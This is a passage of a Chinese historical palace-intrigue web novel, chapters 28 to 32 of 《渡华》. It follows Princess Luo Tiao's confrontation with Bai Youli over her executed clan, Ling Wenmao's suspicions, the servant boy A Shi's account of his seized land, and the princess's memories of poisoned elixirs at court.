青苒鼻翼微张,眸色里闪过一抹稍纵即逝的厌恶,随之有些许反胃,快速将视线从屋梁上收回。 她的长兄还活着,她要去寻她的长兄。 抬步看向前方,发现骆苕视线所落之处,青苒轻轻地冲她摇头,五指触及脸颊以做遮挡,她终于开口,说道:“长公主勿需担忧,一点小伤,无碍的。”乖僻之下裹挟几分清冽,犹如炎炎夏日之下,饮下的冰泉,给骆苕送来一丝宽慰。 骆苕回身,只说:“随我来。” 二人穿过重重盘廊,跨进堂内,骆苕将珠串搁置在案上,余光扫一眼里间房门上的锁,伸手给案上的杯盏沏满水。 端起杯盏,无声无息递给青苒。 青苒接了过去,指腹碰触到骆苕冰冷的指背,心生躲避,手掌上移端稳杯盏。她舒气抿了一口水后,移步跪上软榻。 “长公主,您可是困惑于我脸颊上的这道疤,是如何留下的?”青苒竭力轻声慢语,“也怪我当年无知,没领您的情,一心只为回京都,离开咏竹居,设法逃出涪郡,这一路可谓历经千辛。不过您不用担心,都只是些皮外伤,这不是好好的站在您跟前么?” 接着道,“进了香芜院之后,那里面日日笙歌,我所引以为傲的琴曲,也随之日日糟践。您知我心气高,所以不忍琴曲被继续糟践,便用粝石自毁容貌,嫁祸给客主,让香芜院送我去雁鸣山。” 骆苕听着青苒蜻蜓点水般的讲述,再听闻香芜院,瞳仁上蒙上了一层水雾,阖上双眸,再睁眼时,水雾已经被她隐回去。 “我知长公主在担心什么,”青苒微笑,“香芜院虽混杂,但里面的衣冠禽兽,根本轻薄不了我。自毁容貌嫁祸客主,只要我,无心指认是哪一位客主所为,香芜院亦不会主动替我出头,得罪权贵。及早送走我,也算送走了一尊瘟神。” 于香芜院而言,不了了之,才是最好的解决方法,青苒刻意不去追究,香芜院见她容貌已毁,回天乏术,何必为了一个优伶再去惹事生非。 “若知长公主会来这公主府,我也不必费尽心思贪早回京都,还冒险进了宫,扰乱您的步履。在这,青苒……白幼黎给长公主陪不是。”说完正正地给骆苕伏拜礼。 白幼黎,青苒的真名 28. 第二十八章 《渡华》全本免费阅读 怎么敢! 骆苕面对白幼黎的申斥,她可以承受,这是她本该承受的。 一个人,在人世间游荡四年,无人诉说,无人倾听,堆积过甚的积怨如同泛滥的洪水,总要找到一处破口,宣泄出来。 白幼黎看着依旧沉默的骆苕,怨怼骤升。 “你说我长兄死了,那,你怎么不去陪葬?” 是问,是质问,质问她为何不去死,从前眼里只有长兄一人的长公主,怎么不敢去死,就因为这个该死的女人还活着,她才对长兄活着存有希望。 骆苕一怔。 “不敢去死?”白幼黎讽刺,“难道是长公主舍不得荣华富贵,早已找好别家儿郎,以图匡扶大嵘?” “匡扶大嵘?想必长公主不会愚笨至此,大嵘的党羽,早就被你那个残暴愚蠢的狗皇帝,亲手翦除干净。” 骆苕双目重重阖上。 白幼黎退后一步,拿指尖捏起骆苕后腰的僧服,平整的素衣被指尖一攥就皱。 “既已僧服加身,何不就此了却尘缘,去陪我的长兄,就这样住在他为你打造的府邸,你会心安?” 她松了手,望着指尖捏过的地方,还是皱的,不由皱眉嘲讥,“遍地寺宇,却容不下长公主一人,躲在偌大的公主府,惺惺作态。” “我知你志向高,可再高也只是个公主,怪只怪你那短命无福的弟弟,十三岁便死了,若他能活过你的父亲,你倒是可以施展一番雄图,我们白氏,也会不被狗皇帝和凌走狗……” “幼黎……”骆苕重重呵气,她想截话,可脑中混乱无序。 白幼黎仰天长笑:“我适才说了什么,竟然肯打断我,可是掐中了你的命脉,这命脉可是你那短命鬼弟弟?” 骆苕肩胛起伏。 “还是说残暴愚蠢的狗皇帝让你心疼了?” 骆苕的心被揉碎,反复踩踏,呼吸变得异常急促,五指紧紧扣在掌心。 “险些忘了,还有你那无用的……” 下一瞬,白幼黎被一只手扼住咽喉,出口的话生生地被掐断,与此同时,躺卧在里间的人蓦地睁开眼。 “幼黎……”骆苕已经知道白幼黎想要说什么,唯独她的母亲,她不准许任何人去亵渎,谁都不能。 额上的青筋毕现,探出僧帽牢牢地抓在眼尾,双目充斥着血光,听见她一字一字问:“你可曾,怪过你的祖父白明绪?” 骆苕掐住白幼黎脖子的手掌,一丝都不肯松懈,甚至想再掐紧一些。 白幼黎像凶兽一般死死盯住骆苕,四目交织碰撞,如血焰混杂喷溅,二人的呼吸皆停滞,谁也没让谁一步。 骆苕的本能理智却让五指没能再紧。 白幼黎鄙夷地一点一点掰掉骆苕的手掌,顺势将骆苕大力推开。 咽喉被打开,立时咳声不断。 咳喘之时,白幼黎斜着怒目,一直盯着骆苕泛起殷红的脸,白幼黎惊诧于骆苕的出手速度和力量。 骆苕胸口迎下白幼黎一掌,钝痛之余,后撤两步站稳。 她没想给白幼黎说话的机会,“编纂国史,我与你的长兄多次劝诫,让你祖父谨言慎行,可他一意孤行,妄图用凡胎肉眼看清全貌,执笔道尽乱世君。白明绪编纂的国史,我曾过目,若我为国君,断然不会留他性命。” “你可知,凌晖为何会举荐你的祖父编纂国史?”骆苕说,“你不知道,你那时还躲在深闺,抚琴赋诗。白明绪弃大局而不顾,被人趁虚而入还不自知,是为蠢。凌晖尚且能夹尾做人臣,而你的祖父却胡言乱语,招致杀身之祸……我父皇想要翦除的,是你祖父白明绪一族,凌驾于皇权之上的气焰!” 真相远不止这般简单。 白氏六族内有人仗着皇恩目无尊法,横行霸道。但不该算上白明绪一族。 这笔无意义的陈年旧账原本该烂在肚中,可骆苕此时的恼恨,如苍渊积起的厚浪倾盖而下。她怨自己,怨自己没有毒辣野心,没有铁血手腕。 骆苕知晓暮年骆炜诠的脾性,那时骆炜诠病痛缠身,神志时而清醒,时而恍惚。面对大嵘的萧瑟,试图一叶障目,招募一些荒谬贤士论一论功绩,再以贤士所论功绩载入史册。 末年的骆炜诠需要阿谀奉承,白明绪却选择奉公不阿反其道而行。 白明绪领受编撰国史时,便已做好以身,匡政殉国的准备。 那时骆苕心中已经盘算过计划,不牵扯白言霈,甚至任何旁人。暗中掳走白明绪,藏去京外暗室,使人消失匿迹不见天日,直至她的皇帝父亲…… 她也有另外一个成全白明绪的念头,以一人之身死柬,全他一世清名。 最终因贪念太多,心存侥幸,才导致这不可回复的逆局。 骆苕和白明绪都无法料知后果,孝玄帝直接夷白氏六族。 骆苕恨自己的无能,劝诫,是无能者的行径。 “你简直胡言乱语,颠倒是非!”白幼黎站直身子,蔑视道,“我的祖父不贪私欲,身正影直,一世清明,岂能容你骆氏践踏,狗皇帝昏聩无能,妄图借旁人之手粉饰自己。而你,却还在这为他洗刷罪行。如今,将江山拱手他人,你可满意?” 白幼黎岂能全然不知,昔时,父母每日提心吊胆,长兄愁眉不展,求祖父抛弃执念成全昏庸帝王,帝王功过,自有后世评说。 狗皇帝屠戮宗亲,是祖父所不忍,国史成为祖父的一册死谏,六族又何其辜。 这所有的错应当归于狗皇帝骆炜诠。 骆苕胸口钝痛,黯然咽声,她转身退避不再看白幼黎,盘剥这些已经无济于事。 白幼黎死死盯着骆苕的一举一动,“今日初见你时,你佯装成任人蹂^躏的可怜模样,此时又在恼什么呢?你对我们白氏的愧疚,难道只能维系片刻?” 堂内再次堕入初时的沉寂。 良久。 “幼黎……”骆苕轻唤,“是我对不起你们白氏一族……”她也不曾料想,他的父亲竟然会那样狠绝,釜底抽薪直接灭白氏六族。 错只错在她一人,太过天真。 缓了缓,她道,“你长兄曾托我,定要护你周全,我未能做到,我想,你已经不再需要旁人相护,也能活得很好。” “你我今日就此别过。”骆苕从袖袋内摸出一枚吉羊玉佩,转身递给白幼黎,“这是你长兄临死前让我交给你的,让我转告你,好好活着。” 白幼黎凝向玉佩,精细的雕工确实出自长兄白言霈之手。 白幼黎没接,摇头苦笑:“骆苕,你还在骗我。吉羊玉佩只此一枚,是我长兄特意为你而作,从前我缠着他想要一枚,他却不肯,总拿旁的搪塞。” “你为何还在骗我,我的兄长究竟在哪儿?”白幼黎重 29. 第二十九章 《渡华》全本免费阅读 堂内万籁俱静。 堂外早已起风,摇得窗外枝桠张牙舞爪,尘沙扬天,骆苕置若罔闻。 许久之后,她朝窗外望去,风声、落叶声、枝桠折断声霎时充斥耳膜,闻到鼻腔内钻进的泥土腥味。 从袖中拿出铜匙。 里屋的凌文袤依旧躺卧,听到锁扣“啪嗒”一声被打开,门枢轻轻转碾。 “不要难为她,放她一条生路。”骆苕没进来,站在门口,“放过白幼黎。” 凌文袤懒懒地不想起身,被囚在里屋听两个女人争论前尘旧怨,大约是生平第一次,心中并不舒坦,浑身都不舒坦。 依稀记得,四年前白明绪被夷族的消息传至湧州,舅父赫连度兴正带着他在山林里剿山匪,大获全胜。夜里清风朗月,便在匪寨里围起篝火庆贺,那时的他好似也不舒坦,他对赫连度兴豪言壮语,他志在东征收复圻地,南下伐峪,小小山匪岂可满足。 “你进来。”凌文袤双臂枕在脑后,声色不怨不怒倒也寻常。直接一条腿蹬起,另外一条腿一伸一抬,搭了上去,还将双眼给阖上。 骆苕跨进里屋,瞥见案上纹丝未动的果点,看清榻上悠然自得的人。 “昨夜饮酒太多,今早起来头疼,为了赶来公主府,到现在还未用膳,饿得慌。”凌文袤夹眉想了想,“我瞧你府上的家禽日日见少,今日杀一只,款待款待我这囚徒,如何?” “至于白氏一族逃眷……曾是你父皇定的罪,夷族之后也未曾下令追剿逃眷,今日被你冷不防唤来听了一遭训,还真不知该如何回你。不过,你可以请示皇太后,我去禀明大冢宰,省得我们拿主意。” 一个只为寻亲的逃眷,若皇太后特意示下不咎,大冢宰一定会放人。 自然,这要凌文袤在凌晖面前如何禀明。 “一条命,我们自己可拿主意,还有,雁鸣山李潜是你们的人……”骆苕停住,看着硬榻上的人。 凌文袤睁眼,眼波悬浮在半空,缓缓眨了眨,转头过来,“什么意思?” 关于雁鸣山,他并不了解,更不知雁鸣山李潜是自己父亲的人,可他听懂了她话中有话,眼神中也藏着意思,“你是怕我们暗中把人杀了?” 这一日,脑中的事情多到来不及理顺,说好的堂前客,入幕宾,却生生成了屋中囚,气也不怎么顺,闷在胸中。 骆苕不再看他,说:“希望日后你们不要追查她。” 她还是他? 终于说到了正题,凌文袤冷冷起身下榻:“长公主最是喜欢把话,说一半藏一半。你是想说,也不要追查白言霈吧,你若有能力保他,拿出你的能力保他便是,我一个玄雀卫统领还能拦你不成?” 人已迫至骆苕身前,他居高临下望着眼下人。 眼前的女子身段颀长,低垂着眉眼,二人挨的极近时,凌文袤才觉得真正在俯视她,他道不明自己为何喜欢这个距离,越过雷池,只要她一仰头,有种不言而喻的……愉悦胁迫之感。 相隔半臂的距离,骆苕已经闻不到沐浴后的那股清香,只余男子醇烈的气息,混在窗外飘进的泥土腥味里,是不好闻么? 说不太准那感觉。 视线落在他鹿皮革帯銙上,身侧挂着一方鞶囊,压在帯銙之下的是一身寻常牙色衣袍,倒是素净,与昨日的玉帯銙,流锦衣袍相差甚远。 她不退反而朝前进了一步,仰首同时,抬手将手置于他前胸的衣袍之上:“白言霈死了。” 僧衣袖口宽松得当,将好滑至半臂中段,露出一截玉脂凝肤。 凌文袤眸色浮动,凝住她,缓缓用手掌握住按在胸前的五指,掌心攥握着一股犹如死尸的冰凉,定定地说,“所有人都认为他还活着,偏偏只有你说他死了。他既已逃匿,不论逃去的是圻地还是南峪,生死于我凌文袤而言并无意义,凌氏也只不过多了一个敌人。” 摩挲起握着的指尖,“倒是你,适才被那女子言语凌辱,未乱阵脚,攻守兼备,最后阵前失守,被击得溃不成军,这很耐人寻味。恐怕囚我在内室旁听,是为了证明他已死,结果弄巧成拙。还用在宫中对付冯侍卫时的那套,来对付我,欲盖弥彰。” 凌文袤松了手,后退两步。 “白言霈若死,他便没本事再与我来争,若活,量他也不敢来争。”他眸色寒光骤显,“从今往后,你不用对我虚与委蛇。” 骆苕收了手,垂了眸,丹唇微张想要言语,最后她掀眸,说得诚实柔和:“你我之间若没有那层虚与委蛇,恐怕撑不过今日。凌宪,请你给我一个机会,让我彻底忘了他。我也不是你们的玩物,无需你们争来抢去。” 凌文袤像被掴了一巴掌。 “只因你们都不信白言霈已死,所以才有今日锁你在内屋,不成想弄巧成拙。从今往后,我只当白言霈死了,留白幼黎一条生路就好。”骆苕开始温言软语,里中尽是无奈,“我说过,大嵘会是你们的,拿去也是希望你们将她守好。我的父皇……曾经掳来圻国公主强纳为妃,圻国放出狠话,他日定会吞并大嵘,指名道姓要我骆苕为奴为婢伺候他们,以解国恨。” “我怕。” 国破山崩,这是骆氏皇族和凌氏一族都不愿看到的结局,这一点,骆氏皇族和凌氏一族,乃至赫连氏一族都是相通的。 眼前这个女人,软刀子硬刀子统统都会,让凌文袤一时有口难开。 于公,她说怕败国丧家,深陷囹圄,她是多么不信任凌氏可以掌权未来,收复圻地。 于私,她说给她一个机会,借他这个人,忘了白言霈。 简直两面三刀。 凌文袤总觉今日疏漏了好些信息。 听见她又说:“你曾问我,此生还愿不愿意嫁人,那时我只说待我还俗。其实……我不该给你错觉,不该吊你胃口。”抬眸再次望向他,眼中是平平静静的一汪清泉,“此生,我可以拘泥于情爱,但不愿再嫁人,对你……也不例外。” 又来狠狠一拳,连甜枣都未给一颗。 “可以拘泥于情爱?”凌文袤觉得荒唐又好笑,“是跟冯侍卫那种的情爱?” 对宫中冯侍卫的那种矫揉造作。 骆苕摇头,艰难笑了笑,“说不清了。” 二人静静对视,这次,骆苕选择退让,将视线移去窗外:“天已落雨,一会儿我让厨堂为你煨一只鸡。吃了再走。” ** 申怡呆立在府门内,送神色冰冷的青苒出府,望着远去的神鹰卫车驾,回身关门,按着门栓想了一瞬后,疾步往深处走去。 < 30. 第三十章 《渡华》全本免费阅读 汎河连年决堤,仅去年便已修过三段堤坝,新添的砖石还在河水线上若隐若现,今日雨水连绵,滔滔河水也因汇聚的新雨开始汹涌而起。 不过,今年老天似乎突然记起,这条年年被冲垮的河堤,该眷顾一番,夏浔来的也不如往年凶猛。 长堤修长,像一枚银针裹在天地间。 暗沉的天幕下,白幼黎伫立在堤岸,被雨帘雨雾萦绕。 她木然拔下头上最后一支银釵丢进河中,一头如瀑乌发早已没了形状,并未因没了银釵的束缚而再散乱。发丝发簇紧贴额头、脸颊,任由雨水侵蚀。 她不知该何去何从,犹如一只被人遗弃的幼崽奄奄一息,连哀鸣都没了力气。 她的长兄,真的可以做到弃她而不顾。 白幼黎缓缓抬起螓首,用模糊不清的视线望向绵长的河堤。 她的长兄曾上奏请旨,重新创筑汎河河堤,开支引流灌溉农田,方可杜绝年年的决堤,而不是一而再再而三的一直修葺。 一心为国的忠良,却惨遭屠戮。 这烂天烂地,还有大把的人去争,便让他们争去。 白幼黎伸出左腿,悬在河道之上,只要她迈过去,她便会和父亲母亲相聚。 渐渐悬出去的腿抖得厉害,她不是怕,她是不甘,不甘就此了却生命,她要活着,活着看着骆氏、凌氏被屠戮殆尽。 公主也不例外。 她应该有大恨,而不是一腔幽怨发泄在公主府。 白幼黎憎恶那样的自己。 眼前的涛涛河水让原本模糊的视线更加错乱,躯体开始变得眩晕、恶心。 “女郎君……” 有轻柔细碎的声音传入耳内,白幼黎缓缓收回腿,侧首看向来人。 伞下的女子着一身蓑衣,把伞递给白幼黎,白幼黎未接,那女子一手将伞置在地上,一手戴好斗笠,起身系紧系带。 听见女子说:“女郎君很像一位故人。”她望向河道,“每逢潮汛,他总会来长堤上巡视,执一柄青伞,独自一人将冗长堤岸慢慢走完。” 白幼黎望向置于地上的青伞。 “今日,我将故人的青伞交……交还给你,也算了却一桩心事。我想……女郎君比我更需要它。”她侧首看白幼黎,“那位故人水性极好,兴许如今已经寻到一处世外桃源,只等女郎君出现。” 白幼黎一震。 “你是……何人?” 女子淡淡地笑:“我与女郎君一样,曾在堤岸徘徊,只不过……失足落进了汎河,幸得那一位故人出手相救,捡回一条性命。” 那时一心求死,并非失足。 白幼黎拨开粘在眼睑的发丝,轻问:“你认识我阿兄?” 女子温和恬静的脸上,泛起一丝淡淡哀容:“我不知他姓甚名谁,只是受他之托在此等他的一位至亲,你……很像他。四年前,我在此看着他跳入汎河,两年之后我再次再河堤与他相逢,他便托我转告那位一定会出现的至亲。何处来,何处归。” 何处来,何处归。 荒谬疯狂地舔舐着白幼黎。 何处来,何处归。涪郡,咏竹居。 白幼黎仰头望着青天,想哭又想笑,半晌吸不了气。 她的长兄没有弃她而不顾,她的长兄一直在寻她,是她自以为是地回到京都。 自己还犯了一个天大的错误,她不该让骆苕得知她的长兄尚在世间,因为长兄并不想骆苕知道。 “四年前看着他跳入汎河,你为何不拦着他?”白幼黎懊恼、失心、不可理喻,她越发憎恶自己,却将怨气发泄在她人身上。 女子垂下眼帘,轻柔低诉:“他水性极好,他若想跳,定有他的理由。况且,我在暗他们在明,不便现身。想必女郎君想知道,与他一起的女子为何不拦着他。” 她轻轻吁气,“那女子……无能为力,她想随你阿兄而去,最终未能付诸行动,可能是怕了罢。” 每每回忆起那日骆苕瘫坐在地时的哀恸,痛哭,女子心中都为之惊悸。 女子正正给白幼黎行了个礼。 “就此别过,祝君安好。” 女子转身离去,背了多年的人情债,从此卸下,她该把他忘了,从此她便可洗去铅尘,成为脚踩芒鞋的农家妇。 白幼黎怔怔地看着女子离去的背影,泪水在这一刻汹涌而出,她咬着坚牙不言不语,最后正身,长久地给女子背影回以敬礼。 ** 长堤下游,同样有一纵人马伫立在岸上。 雨水顺着年轻男子刚毅的下颌线,倾注而下,落在牙色衣襟。 凌文袤从袖中取出一柄利刃,褪去刀鞘,面无表情地开始打量,寒刃映现出他的朗逸眉眼,轮廓清晰。 他皱了皱眉。 雨水如饥似渴地攀上净裸的刀身,直到刀身上的清晰轮廓变得扭曲,他才慢慢舒眉。 抬手,并拢的二指贴着柄身缓缓划至刃尖,刃尖锋利,轻轻一按,指腹被刺破,鲜血混着雨水,溅在身下,一滴一滴晕染牙色衣袍。 身形微动,听见“铛”地一声脆响,堤石被一股遒劲蛮力立时震去一角,利刃插进坚石没入三寸,屹然不动。 一青放眼望去,神色稍怔,只见堤石裂开,正无声无息地吞噬雨水。方才没看清郎主是如何出手的,实在可惜了。 赤眉低眉垂眼,不为所动。 马上的凌文袤回身,望向躬身直立的两位家奴,久久出神。 这只是他的另外两条命,而已。 在湧州他不曾广招贤才,所以没有文韬武略的左膀右臂,他只是舅父手下的一名良将。孝玄帝未崩逝之前,需要极力夹尾做人臣,孝玄帝崩逝之后,同样因父亲,得做个听父命的孝子。 而在京都,没有左膀右臂,万事寸步难行。 他回首遥望前方。 良久。 “一青,把短刀给我取回来。”凌文袤翻身下马。 一青得命,赶紧冲去拔刀,捧着寒刃送到凌文袤身前,凌文袤取刀收回刀鞘。 凌文袤看赤眉,笑着相问:“你们二人是什么关系?” 赤眉年近四十,额角宽阔,赤眉纵目厚唇,身材魁梧,常年着一身浆洗得发白的褐色衣袍,从未见他更换样式。 一青则大不同,估摸十五六的年纪,长着少年人鲜有的清秀模样,穿着的衣袍制式相同,色却不同,每日一换。只因做家奴的缘故,常年弓背哈腰,仪态极差,与赤眉的仪态大相径庭。 赤眉回:“奴与一青同为侍奉郎主。” “答非所问。”凌文袤双臂叉上胯,“一青可是你的儿子?或者你二人为师徒?” 闻言,一青双目瞪圆,他好 31. 第三十一章 《渡华》全本免费阅读 天色暗沉,未入夜,宁华公主府便已经相继掌起灯。下人们打扫完庭院,用过饭也相继歇息。 心思活络的阿石,给东面长廊添置了几张高脚竹凳,他想,这条长廊唯一可诟病的便是,阑干和凳其实可以融为一体,而不是空落落的阑干。 有阑干连着凳,随走随坐,多好。 骆苕坐上竹凳,手肘支上阑干,高矮适宜,一瞧便知阿石是按着她的身量特意做的。 “很好。”骆苕笑着夸赞,“竹篱笆,竹凳,就地取材,十分实用。” 被夸赞后的阿石咧咧嘴,挠挠头:“是奴应该的,就是不太好看。” 确实,竹篱笆,竹凳像是随手拈来的,即便表面被打磨的光洁铮亮,与庄穆华丽的公主府并不相称。 淅淅沥沥的雨还在下个不停,长廊檐下的两盏错金莲花灯笼透出清亮的光,斜洒在阿石身上,显得少年人格外清澈。 骆苕问他:“你是哪里人士?” “垌县。”阿石答得利索。 骆苕微微颔首,垌县离京都很近,又问他:“你为何要进宫做内侍?” 阿石胸中一噎,方才还堆在脸上的笑就此凝固,他目光躲闪,最后垂了头,低低地说:“奴怕死。” 骆苕神情跟着一滞。 原来是自己疏忽了,无父无母的孤儿,本该受官府的扶孤诏令,可阿石说的是怕死,里中定有难言之隐。 在宫中时,骆苕问过阿石一二,阿石家中已无亲眷,十二岁的年纪,若非情势所迫,谁会甘愿净身,断绝后嗣入宫呢。 能被留选中进宫做小内侍的,出身一定是良家子,即是良家子,家中定还有田产,阿石虽不过十二,但为人勤快,有官府照拂,养活自己定也不难。 “我也怕死。”骆苕缓和气氛,微微叹息,说得随和,“这世上少有不怕死的人。” 阿石抿着嘴。 来了公主府之后,精神要比在宫中放松,但毕竟伺候的是皇亲,还是马虎不得,话实在不能乱说,说不好会殃及小命。 见阿石紧皱眉头,骆苕也只是随意着问:“今年这光景,农桑喜人,你入宫之后,家中留下的那些永业田①若是无人打理实在可惜,可是卖了?” 话已至此,阿石即便再年少,也能察觉骆苕今日与往常不同,往常对待下人们异常冷淡,吩咐完便不会再与下人们叙话。 今日太反常,长公主心情不好,昨日彻夜未归,回来之后便一直独自伤神。 阿石直直地往地下跪,说:“奴的父亲母亲都死了,留下来的几十亩永业田,奴一人没空打理,便卖了一些安葬父母,留了屋舍和几亩杂田,足够过活。” 平平正捧着披风踏出东门,瞧见灯下的二人,心下一惊,本想后退可双脚却不听使唤,匆忙上前,也跟着跪在阿石旁边。 “你们都起来。”骆苕对平平说,“把披风给我。” 平平忙起身,替骆苕披上披风后,被骆苕屏退,平平心如捣鼓地退出东门,也不知阿石犯了什么错。 独留下阿石,阿石也有些彷徨。 骆苕拢了拢披风,问:“你怕我吗?” 阿石使劲摇头。 “不怕便好。”骆苕问,“你的永业田可是被人强行兼并的?” 阿石弓着背,心头狂颤,长公主怎会一猜即中,他默不作声,不敢说是,更不敢说不是。 骆苕了然,温声说道:“你别怕,我不问那人是谁,只要我活着一天,我便会一直护着你。至于永业田,我会将我的赐田分于你,按国律,桑田二十亩,麻田十亩,榆田五亩,如何?” 阿石惊恐,也不知今日长公主为何会这样,很吓人,像将死之人细分家产,可自己只是个奴,不是长公主的家人,若是赏赐,也不该是因为几张竹凳,就能得如此之多的田产。 他又是摇头。 “不喜田产吗?”骆苕皱眉稍一思索,“那往后你的月禄加十倍,如何?” 阿石更加不安,憋出话来:“奴……奴不要,奴不该拿不该得的!” “连赏赐都不要,有这般骨气,是何缘由逼得你净身入宫,寻求庇佑?”骆苕紧追,“若有冤屈,廷尉府前的登闻鼓为何不敢去击?” 阿石再也受不住煎熬,心一横直说:“奴不是怕死,奴是恨!” 官官相护,他也不知该把这恨落在谁头上,况且没有铁证,如何去击那登闻鼓。 骆苕望向满腔义愤的阿石,惊醒。 即便分给阿石自己的赐田,依旧掩盖不了强权兼并本该属于他的土地。他说怕死,那一定是被人所欺,纵使离京都如此之近,强权也肆无忌惮。 骆苕后背靠向阑干,轻轻说道:“到底是说了实话,你不是怕,是恨,恨了惹不起的人,那便只有往宫里躲。” “长公主赎罪!奴……知错。” 阿石再次下跪,趴伏在长廊,额头抵着廊板一动不动,他说了不该说的,恨,应该留在心里,出口就成了祸事。 “你错了吗?”骆苕神色微严,声色显出鲜有的威仪,“可否说来听听,让本宫知道你错在哪儿,不可欺瞒本宫。” 这是自阿石服侍骆苕以来,第一次听见骆苕用这样的语气和称谓,跪伏下的脸面挤成一团,懊恼万分。 顶在廊板上的鞋履不停发抖:“奴……奴错在……”实在不知该当如何,越说越错,咬牙,“长公主,您饶了阿石!” 骆苕缓缓起身,望着脚前十二岁的懵懂少年。 冰冷的话钻入少年人耳中:“你错在,对我没有半分了解之前,便已经信任我,对我说恨他们,你安知,我就不是他们?我与他们原本就是……”一丘之貉,最后骆苕用的却是,“一路货色。” 细农被逼至如此境地,一层一层往上追,便是当权者的渎职,连同为官者一个都逃不掉。 少年人,在他说进宫是因为怕死,便已袒露心扉,阿石信骆苕与他们不一样。 阿石心存天真:“长公主是奴的主人,是奴此生应当忠心侍奉的主人,何况……何况长公主与他们不一样,长公主庇佑万民,天下人皆知。” 他初入宫时还不知要伺候哪宫主人,当得知是长公主时,心中还有一丝丝窃喜,后来才知,从前伺候长公主的仆俾全部消失,宫变又死了那么多的人,他怕过。 不知怎的,后来竟不怕了。 “以我一人之力,如何庇佑万民?”骆苕转向河道,自言自语,“天下皆知,欺你这个无知的少年人罢了。” 雨声戚戚沥沥,阿石竖起耳朵都未听清后半句,没敢作答。 骆苕暗自纾解完情绪,转身语音放柔:“起来罢。” 阿石闻言,直起身板,又跪了一瞬,起身,抬头看骆苕,一对视,心下又颤了一下,赶紧垂下眼睑。 人虽年少,好在心思活络,人够聪明。 他说:“奴不敢欺瞒长公主。” 已经到这分上,长公主是想听实话,一定也瞒不过长公主。 骆苕重新坐回竹凳。 阿石在脑中理了好大一会儿语序,开始平铺直述。 他说,他的父亲在他八岁时病故,是他的母亲辛苦拉扯三兄弟长大。 就在父亲病故的那年家中来了军贴,点兵两位兄长从军,还为两位兄长许配了妻室。两位兄长从军之后,母亲随之染病,好在有两位嫂嫂照顾,家中才可维系。 半年之后,军中送来告知书,说他的两位兄长已经战死,还发了几贯抚恤金。阿石不信他们的鬼话,因他从未见过小兵战死送告知书还给抚恤金的,都是活着回来的同乡相互本奔走相告,知道死讯草草了事。 32. 第三十二章 《渡华》全本免费阅读 浴房内水雾缭绕,骆苕后脑枕向杅沿,浴汤上飘着大簇大簇粉嫩的碎瓣荷花轻轻荡漾。 她阖上眼。 温热的水雾熏得人直犯困,水中人曝露在外的雪肤微微泛起红晕,脸颊尤其厉害,暖暖的烛灯映照,让骆苕疲累的身躯显露出旖旎。 半醒半睡,骆苕抬起手臂,掌心轻轻安置在胸口,脉沉而缓,偶有心悸倒也无碍,自己的身体自己最懂。 倒是还有几两肉。 心跳蓦地砰砰跳,骆苕掀开眼皮,顺势拈掉肩胛上的碎花瓣沉入水中。 浴房外,平平打了一个哈欠,她已经习惯长公主长久地沐浴,而且落发来公主府之后,长公主也从来不让人进内伺候。 “长公主在里面多久了?”申怡瞧见房外睡意袭头的平平,上前低声相问。 “申宫官,”平平躬身曲礼,使劲眨了眨眼,回,“半个时辰。” 申怡沉吟片刻,朝里轻唤:“长公主殿下,半个时辰已过,该起了。”声色柔软地如同哄小孩,平平不由觑向申怡。 没听见浴房内回应,申怡双手扶上门,正欲推门,却听里头传来:“别进来,一会儿便好。” 骆苕正从水中站起,挑来干巾裹上身跨出浴桶,水线顺着臀腿脚跟沥进绵软地衣,行至铜镜前,边擦拭边打量。 骆苕由近退远,又由远及近,镜中人,朦朦胧胧。铜镜太小,照不全全身,低头望向双腿双脚,身段修长清寡,并无特别之处。 穿戴妥帖,她推门而出。 申怡支退平平,跟在身侧,随骆苕回卧房。 掌好灯,申怡才犹豫着开口问询:“殿下,今日那女子……可是白幼黎?” 骆苕一直蒙蔽心神,不愿再去回顾今日之事,怎料事态非她所控,她褪去鞋履,躺进床榻,坦然:“是她。” 自打白幼黎第一次入宫之后,骆苕惊诧白幼黎出现在雁鸣山,在很长的一段时间里,不敢确认白幼黎是否已经暴露身份,也不敢面对白幼黎,昨日御苑耳目众多,二人相见相谈,必定令人生疑。 深堂内,她下定决心与前尘完全做个了断,只为保下白幼黎。不料天意弄人,反倒牵扯出白言霈未死的音讯。 骆苕望着卧房内的猫舍发怔,里面空无一物,上头新铺的软垫还如几日前一样,它从未回来过。 申怡半晌无话,放下床帐才说:“殿下近日寝室不安,使女恳请殿下切莫再劳思伤神,身体要紧。” 她本想劝解骆苕,不该与白言霈和白幼黎兄妹二人再有关联,可今日凌文袤也在其中,任她如何揣测,也理不清里中缘由,到嘴只余下关切骆苕自身。 骆苕轻轻“嗯”一声,以做回应。 床帐外落寞的人影,吹灭烛灯退出卧房。 帐内人翻身面朝里,蜷缩起身子抓来寝被搂在身前,在脑中盘数令她寝食不安的桩桩件件。 被困在宫中的这些年,积压了好些事,每一件都是为大嵘的将来而备,可她的父皇,防着宗亲,防着母后,甚至防着她这位公主,唯独没有对有异心的凌晖多加防备。 她的弟弟骆奂病逝,大嵘还有骆骞、骆炎,只要白明绪六族还在,元老宗亲还在,足以压制凌晖。 凌晖并非急功近利之辈,行事极为隐蔽,暗中广撒网罗,拢络人心。骆苕从前探查过凌晖,却从未得到可用实证,若无实证,在骆炜诠面前,便难以扳倒凌晖,贸然谏言,必定会令骆炜诠更为猜忌骆苕。 而雁鸣山的李潜,以游医身份悬壶济世大半生,各地口口相传,使其名声鹊起。十年前,半隐居在雁鸣山,醉心炼制丹药,又因其丹药独特,大受京中贵胄赞誉、追捧,因此颇负盛名。 只是,谁也不曾知晓李潜和凌晖是旧识。 骆炜诠暮年痴迷于丹药,召集各方方士在宫中炼制丹药,以求延寿。李潜也在其中,李潜草草地进献过两方丹药之后,便以才薄智浅为由跪求骆炜诠放他归山。 骆炜诠食过李潜所制丹药,无功无过,罚过千金之后便放人归山。 没过几日骆炜诠身体急转直下,骆苕本就对丹药极为忌讳,便着手差人去查李潜过往行踪,探查的人进宫受阻,她就设法出宫,等来的却是皇帝骆炜诠对她一而再再而三的禁足。 骆炜诠对骆苕的信任,在很久之前就已出现隔阂,白明绪被夷六族之后,信任彻底崩塌,骆炜诠疑骆苕勾结外人企图篡位。 骆苕据理力争,却唤不醒神志癫狂的骆炜诠,万念俱灰,自我封困于平宁宫,与骆炜诠不再相见。 再后来,骆苕知道了李潜所制丹药有问题,因骆炜诠寝殿里余下的丹药不翼而飞。李潜所罚千金也有问题,李潜的过往同样有问题,都和凌晖有着千丝万缕的交集。 骆苕眼睁睁看着大权落入凌晖手中,眼睁睁看着骆炜诠崩逝。 